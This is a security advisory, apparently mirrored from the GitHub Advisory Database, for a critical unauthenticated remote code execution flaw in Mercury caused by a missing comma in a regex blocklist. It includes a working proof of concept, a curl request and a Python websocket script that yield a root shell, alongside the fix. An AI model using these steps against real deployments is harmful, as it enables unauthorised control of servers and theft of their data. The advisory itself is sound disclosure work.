Advisory

GHSA-f8c7-rwf9-fmgm

Also known as: CVE-2026-111057

Summary

Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass

Details

Summary
A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details
The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together)
/api/shutdown(?:/.*)?
/files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter
Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC
Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default
configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

  • Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
  • Integrity: attacker can modify or delete any file, including notebooks served to other users.
  • Availability: attacker can shut down or crash the server/container.
  • Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix
Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-10-19 17:00 UTC
Modified
2026-10-19 17:15 UTC

Affected packages and fixes

mercury

PyPI · All systems

Affected

  • introduced 3.0.0, fixed 3.2.4 (ecosystem)

Fixed versions

3.2.4

Fix

  • Fixed version 3.2.4
    pip install --upgrade mercury==3.2.4

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences